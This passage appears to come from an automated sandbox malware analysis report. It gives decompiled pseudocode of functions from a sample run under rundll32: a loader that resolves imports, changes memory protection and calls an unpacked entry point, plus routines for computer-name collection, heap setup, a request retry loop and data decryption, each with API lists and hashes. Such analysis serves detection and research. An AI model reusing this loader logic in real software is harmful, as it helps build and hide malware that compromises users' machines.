				}
				E008F1FB2(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E008F11DE( &_v32,  &_v16,  *0x8f41c0 ^ 0xf7a71548) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x8f41b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E008F1C83(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x8f41b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x8f41b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E008F212B(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E008F153F(_v28); // executed
				}
				ExitThread(_t25);
			}

0x008f1bcf
0x008f1be0
0x008f1bea
0x008f1be2
0x008f1be2
0x008f1be2
0x008f1bf1
0x008f1bfa
0x008f1bff
0x008f1c1d
0x008f1c7a
0x008f1c1f
0x008f1c25
0x008f1c2b
0x008f1c39
0x008f1c3d
0x008f1c44
0x008f1c46
0x008f1c4c
0x008f1c50
0x008f1c58
0x008f1c69
0x008f1c5a
0x008f1c60
0x008f1c60
0x008f1c58
0x008f1c71
0x008f1c71
0x008f1c7c

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 008F1C25
ExitThread.KERNEL32 ref: 008F1C7C

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: ba6b387bc9a91dafa392e4227c5e1f32ea533353eb2e77f1336f71cbba35fb7d
Instruction ID: eb1246fc7679010828e3015ca2832d3f316a0a2579665e7139e30dcb4108d15c
Opcode Fuzzy Hash: ba6b387bc9a91dafa392e4227c5e1f32ea533353eb2e77f1336f71cbba35fb7d
Instruction Fuzzy Hash: 2111A972608609EADB11DB78DC8CEBB77ECFB84304F044926B655C3161EB30E984CB52

Uniqueness

Uniqueness Score: -1.00%

Function 010F22D7 Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E010F22D7(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E010F6D63(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E010F6C2C(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x010f22dc
0x010f22e7
0x010f22e9
0x010f22ef
0x010f22f1
0x010f22f6
0x010f22ff
0x010f2303
0x010f230c
0x010f2310
0x010f231f
0x010f2312
0x010f2313
0x010f2318
0x010f2318
0x010f2310
0x010f2303
0x010f2328

APIs

GetComputerNameExA.KERNEL32(00000003,00000000,010F57B5,00000000,00000000,?,746BC740,010F57B5), ref: 010F22EF

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

GetComputerNameExA.KERNEL32(00000003,00000000,010F57B5,010F57B6,?,746BC740,010F57B5), ref: 010F230C

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 416f217a20b96115dabf80be39110b55d8f801975b4acc7990585618f7d3e45f
Instruction ID: ed61386267efcdff27a21e82fbd1b7a42346a8f15b1ae49c27488444f93c4ca1
Opcode Fuzzy Hash: 416f217a20b96115dabf80be39110b55d8f801975b4acc7990585618f7d3e45f
Instruction Fuzzy Hash: 90F05476A00109FAE721D6A98C02FAF7AFCDBC5650F11009DEB84D3541EAB5DA018771

Uniqueness

Uniqueness Score: -1.00%

Function 010F1CD6 Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F1CD6(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x10fa2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x10fa1c8 = GetTickCount();
				_t5 = E010F6D78(_a4);
				if(_t5 == 0) {
					_t5 = E010F4B89(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E010F6B1C(_t9) != 0) {
							 *0x10fa300 = 1; // executed
						}
						_t7 = E010F3D2C(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}

0x010f1cd6
0x010f1cdf
0x010f1ce5
0x010f1cec
0x010f1cf0
0x00000000
0x010f1cf0
0x010f1cfd
0x010f1d02
0x010f1d09
0x010f1d0f
0x010f1d16
0x010f1d1f
0x010f1d21
0x010f1d21
0x010f1d2b
0x00000000
0x010f1d2b
0x010f1d16
0x010f1d30

APIs

HeapCreate.KERNEL32(00000000,00400000,00000000,010F5E54,?), ref: 010F1CDF
GetTickCount.KERNEL32 ref: 010F1CF3

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: CountCreateHeapTick
String ID:
API String ID: 2177101570-0
Opcode ID: 29e528946b983fdb1a4f2fc7ccaa9fc1c3c401e90b477a4398e5f5f5e2f29f19
Instruction ID: 6ee9b413c8ff6cb8c472636c23b6dd551518f30d1499283fa8796a3192be91cc
Opcode Fuzzy Hash: 29e528946b983fdb1a4f2fc7ccaa9fc1c3c401e90b477a4398e5f5f5e2f29f19
Instruction Fuzzy Hash: 34F03970640206EAEB613B74A90775A39F46B10784F10882DFBC4D59C5EBBBD0409722

Uniqueness

Uniqueness Score: -1.00%

Function 010F375F Relevance: 1.6, APIs: 1, Instructions: 70
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F375F(signed int* __ecx, intOrPtr _a4, signed int* _a8, signed int* _a12) {
				intOrPtr _v12;
				signed int _v20;
				intOrPtr _v24;
				signed int _v60;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t14;
				signed int* _t16;
				signed int _t25;
				signed int _t26;
				signed int* _t28;
				signed int _t30;

				_t28 = __ecx;
				_t14 =  *0x10fa368; // 0x51a9618
				_v12 = _t14;
				_t16 = _a12;
				_t30 = 8;
				if(_t16 != 0) {
					 *_t16 =  *_t16 & 0x00000000;
				}
				do {
					_t31 =  &_v68;
					if(E010F227F( &_v68) == 0) {
						goto L16;
					}
					_t30 = E010F6954(_t31, _a4, _v12);
					if(_t30 == 0) {
						_t25 = E010F1CA5(_t31, _t28); // executed
						_t30 = _t25;
						if(_t30 != 0) {
							if(_t30 == 0x102) {
								E010FA000 = E010FA000 + 0xea60;
							}
						} else {
							if(_v24 != 0xc8) {
								_t30 = 0xe8;
							} else {
								_t26 = _v20;
								if(_t26 == 0) {
									_t30 = 0x10d2;
								} else {
									_t28 = _a8;
									if(_t28 != 0) {
										_v60 = _v60 & _t30;
										 *_t28 = _v60;
										_t28 = _a12;
										if(_t28 != 0) {
											 *_t28 = _t26;
										}
									}
								}
							}
						}
					}
					E010F4274( &_v68, 0x102, _t28, _t30);
					L16:
				} while (_t30 == 0x2f19 && WaitForSingleObject( *0x10fa30c, 0) == 0x102);
				return _t30;
			}

0x010f375f
0x010f3765
0x010f376c
0x010f3774
0x010f377a
0x010f377d
0x010f377f
0x010f377f
0x010f3787
0x010f3787
0x010f3791
0x00000000
0x00000000
0x010f37a0
0x010f37a4
0x010f37a8
0x010f37ad
0x010f37b1
0x010f37ed
0x010f37ef
0x010f37ef
0x010f37b3
0x010f37ba
0x010f37e4
0x010f37bc
0x010f37bc
0x010f37c1
0x010f37dd
0x010f37c3
0x010f37c3
0x010f37c8
0x010f37cd
0x010f37d0
0x010f37d2
0x010f37d7
0x010f37d9
0x010f37d9
0x010f37d7
0x010f37c8
0x010f37c1
0x010f37ba
0x010f37b1
0x010f37fc
0x010f3801
0x010f3801
0x010f3825

APIs

WaitForSingleObject.KERNEL32(00000000,761F81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 010F3811

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: 33e6e1c93e8b5b988ae286bf2727f9391f5c8012b90edb70e3793ea0b478adc9
Instruction ID: 3c9f33ee201723f5ff67a1006e5f1ef2206c0f7fe90f3f5c4f9362f0bf0512e0
Opcode Fuzzy Hash: 33e6e1c93e8b5b988ae286bf2727f9391f5c8012b90edb70e3793ea0b478adc9
Instruction Fuzzy Hash: 55218BB5700346DBEB61CE6DD842BAE3AA5BB81260F10406EE7859BA44D775D841C790

Uniqueness

Uniqueness Score: -1.00%

Function 010F1B6F Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E010F1B6F(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x10fa348; // 0x40ad5a8
				_t4 = _t15 + 0x10fb3a0; // 0x51a8948
				_t20 = _t4;
				_t6 = _t15 + 0x10fb124; // 0x650047
				_t17 = E010F46CB(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E010F59AE(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x010f1b79
0x010f1b80
0x010f1b81
0x010f1b82
0x010f1b83
0x010f1b89
0x010f1b8e
0x010f1b8e
0x010f1b98
0x010f1baa
0x010f1bb1
0x010f1bdf
0x010f1bb3
0x010f1bb5
0x010f1bba
0x010f1bdc
0x010f1bbc
0x010f1bbf
0x010f1bc6
0x010f1bcb
0x010f1bcd
0x010f1bcd
0x010f1bd2
0x010f1bd2
0x010f1bba
0x010f1be6

APIs

Part of subcall function 010F46CB: SysFreeString.OLEAUT32(?), ref: 010F47AA

Part of subcall function 010F59AE: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,010F5EFA,004F0053,00000000,?), ref: 010F59B7
Part of subcall function 010F59AE: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,010F5EFA,004F0053,00000000,?), ref: 010F59E1
Part of subcall function 010F59AE: memset.NTDLL ref: 010F59F5

SysFreeString.OLEAUT32(00000000), ref: 010F1BD2

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 02001347f8230651ece18e4eab26abb4309f07eb8fa76ebd686ae69f106b797f
Instruction ID: ba0e8ae77639ba6fd1c1253eddfe99caffd3c4a86d74daf83acc853c46f6c5bc
Opcode Fuzzy Hash: 02001347f8230651ece18e4eab26abb4309f07eb8fa76ebd686ae69f106b797f
Instruction Fuzzy Hash: 98015A3250012AFFDB15AFA8DC06DEABBB9FB08650B004469FA81E7860E7719915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 008F1FB2 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E008F1FB2(void* __eax, intOrPtr _a4) {

				 *0x8f41d0 =  *0x8f41d0 & 0x00000000;
				_push(0);
				_push(0x8f41cc);
				_push(1);
				_push(_a4);
				 *0x8f41c8 = 0xc; // executed
				L008F10BE(); // executed
				return __eax;
			}

0x008f1fb2
0x008f1fb9
0x008f1fbb
0x008f1fc0
0x008f1fc2
0x008f1fc6
0x008f1fd0
0x008f1fd5

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(008F1BF6,00000001,008F41CC,00000000), ref: 008F1FD0

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: e019bf2eebb9e229b6a529bd0ae8347679ac5e6d2e2e01639be0c4637f96bc2f
Instruction ID: 792cd3bfd01421cf3f6822ee1ecba423fc7915ddc497d84b1659e663e822d8ab
Opcode Fuzzy Hash: e019bf2eebb9e229b6a529bd0ae8347679ac5e6d2e2e01639be0c4637f96bc2f
Instruction Fuzzy Hash: 68C04CB4240345A6E7109F60DC46F677A61B760709F101606F710A41E1C7F610D4D91A

Uniqueness

Uniqueness Score: -1.00%

Function 010F6D63 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F6D63(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x10fa2d8, 0, _a4); // executed
				return _t2;
			}

0x010f6d6f
0x010f6d75

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 115c7cea0995d1e367231506870aa597cc6a8817ece094eef8017feeb45bacdc
Instruction ID: c6a29fdecc5f21867a83364814c181923bb0645d59a4fb8eb1df5f364f859e32
Opcode Fuzzy Hash: 115c7cea0995d1e367231506870aa597cc6a8817ece094eef8017feeb45bacdc
Instruction Fuzzy Hash: 88B01235200200EFCA214B00DD0AF057B21B750700F004018B28840478C2371460FB04

Uniqueness

Uniqueness Score: -1.00%

Function 010F6C2C Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F6C2C(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x10fa2d8, 0, _a4); // executed
				return _t2;
			}

0x010f6c38
0x010f6c3e

APIs

RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9391be6b1dbf0562b51f116941f054e6840bdd27a5628c22b0e21b636128e07a
Instruction ID: c5ba6af5ba75f1de94b74d088df863e0f45d7cfba41cea15012d261875abb8fc
Opcode Fuzzy Hash: 9391be6b1dbf0562b51f116941f054e6840bdd27a5628c22b0e21b636128e07a
Instruction Fuzzy Hash: 63B01275300200EFCB314B00DE06F057A21A790700F004018B38800478C2371460FB15

Uniqueness

Uniqueness Score: -1.00%

Function 008D10FF Relevance: 1.3, APIs: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 008D1177

Memory Dump Source

Source File: 00000002.00000002.783985750.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 200654caf8872bfb84d534b6df6c6610af57454f1857a22d0510d06dea24e8a1
Instruction ID: e04bb5ae5dd04af7bca707b5bf8dcba7a5e76f1906bd0aee99e22f8430f2175d
Opcode Fuzzy Hash: 200654caf8872bfb84d534b6df6c6610af57454f1857a22d0510d06dea24e8a1
Instruction Fuzzy Hash: EF4105B09002069FDB04CF98C5987AEBBF0FF48304F24856ED858AB341D77AA946CF95

Uniqueness

Uniqueness Score: -1.00%

Function 008F153F Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E008F153F(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x8f41c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x8f41c0 - 0x69b24f45 &  !( *0x8f41c0 - 0x69b24f45);
				_t18 = E008F1446( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x8f41c0 - 0x69b24f45 &  !( *0x8f41c0 - 0x69b24f45),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x8f41c0 - 0x69b24f45 &  !( *0x8f41c0 - 0x69b24f45), _t16 + 0x964da0fc,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E008F113D(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E008F15E3(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E008F1A9D(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E008F152A(_t42);
					L8:
					return _t29;
				}
			}

0x008f1547
0x008f1549
0x008f1565
0x008f1576
0x008f157d
0x008f15db
0x00000000
0x008f157f
0x008f157f
0x008f1589
0x008f158d
0x008f1592
0x008f159a
0x008f159e
0x008f15a3
0x008f15a8
0x008f15ac
0x008f15b1
0x008f15b2
0x008f15b6
0x008f15bb
0x008f15c3
0x008f15c3
0x008f15bb
0x008f15ac
0x008f159e
0x008f15c5
0x008f15ce
0x008f15d2
0x008f15dc
0x008f15e2
0x008f15e2

APIs

Part of subcall function 008F1446: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,008F157B,?,?,?,?,?,00000002,?,?), ref: 008F146A
Part of subcall function 008F1446: GetProcAddress.KERNEL32(00000000,?), ref: 008F148C
Part of subcall function 008F1446: GetProcAddress.KERNEL32(00000000,?), ref: 008F14A2
Part of subcall function 008F1446: GetProcAddress.KERNEL32(00000000,?), ref: 008F14B8
Part of subcall function 008F1446: GetProcAddress.KERNEL32(00000000,?), ref: 008F14CE
Part of subcall function 008F1446: GetProcAddress.KERNEL32(00000000,?), ref: 008F14E4

Part of subcall function 008F15E3: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 008F161B

Part of subcall function 008F1A9D: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 008F1AD6
Part of subcall function 008F1A9D: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 008F1B4B
Part of subcall function 008F1A9D: GetLastError.KERNEL32 ref: 008F1B51

GetLastError.KERNEL32(?,?), ref: 008F15BD

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
String ID:
API String ID: 3135819546-0
Opcode ID: bafaaa183b3c7135745f9a9a2154358eaf6e11e8ed7729d675a7e46af66d92df
Instruction ID: 371aa7e0ac7a7fa6e6d2398a2e24b71bed925d5f13e52aab11661db41ffac35e
Opcode Fuzzy Hash: bafaaa183b3c7135745f9a9a2154358eaf6e11e8ed7729d675a7e46af66d92df
Instruction Fuzzy Hash: 00119376600619EBDB21AAF98C88DBB77ECFFD83147000559EB02D7501EEA0ED058B91

Uniqueness

Uniqueness Score: -1.00%

Function 010F155C Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F155C(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E010F12CA(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x10fa2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E010F1B6F(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x010f155c
0x010f1564
0x010f157b
0x010f1596
0x010f159a
0x010f159f
0x010f15a1
0x010f15b3
0x010f15bf
0x010f15a3
0x010f15a3
0x010f15a8
0x010f15ad
0x010f15ad
0x010f15a1
0x010f15c5
0x010f15c9
0x010f15c9
0x010f1570
0x010f1575
0x010f1579
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 010F1B6F: SysFreeString.OLEAUT32(00000000), ref: 010F1BD2

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,7620F710,?,00000000,?,00000000,?,010F21A9,?,004F0053,051A9400,00000000,?), ref: 010F15BF

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: fe840d874a1334a2dbb6e0fe75e9fa9bc3d968bd2695d8712290066b0f4f38b0
Instruction ID: 3e100cd994cab9ce69778e8162b9ab2fb34ee153631004327e378069853af5e8
Opcode Fuzzy Hash: fe840d874a1334a2dbb6e0fe75e9fa9bc3d968bd2695d8712290066b0f4f38b0
Instruction Fuzzy Hash: 6F012C32100619FBDB229F98CC06EEE3BA5EF54B50F088418FF459A564D731D960DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 010F24B3 Relevance: 1.3, APIs: 1, Instructions: 36
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010F24B3(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E010F5FBB( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E010F6D63(_a8 + _a8);
					if(_t21 != 0) {
						E010F298F(_a4, _t21, _t23);
					}
					E010F6C2C(_a4);
				}
				return _t21;
			}

0x010f24bb
0x010f24c2
0x010f24c4
0x010f24d3
0x010f24da
0x010f24e9
0x010f24ed
0x010f24f4
0x010f24f4
0x010f24fc
0x010f2501
0x010f2506

APIs

lstrlen.KERNEL32(00000000,00000000,010F58D7,00000000,?,010F1D97,00000000,010F58D7,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F24C4

Part of subcall function 010F5FBB: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,010F24D8,00000001,010F58D7,00000000), ref: 010F5FF3
Part of subcall function 010F5FBB: memcpy.NTDLL(010F24D8,010F58D7,00000010,?,?,?,010F24D8,00000001,010F58D7,00000000,?,010F1D97,00000000,010F58D7,?,746BC740), ref: 010F600C
Part of subcall function 010F5FBB: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 010F6035
Part of subcall function 010F5FBB: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 010F604D
Part of subcall function 010F5FBB: memcpy.NTDLL(00000000,746BC740,051A95B0,00000010), ref: 010F609F

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

Memory Dump Source

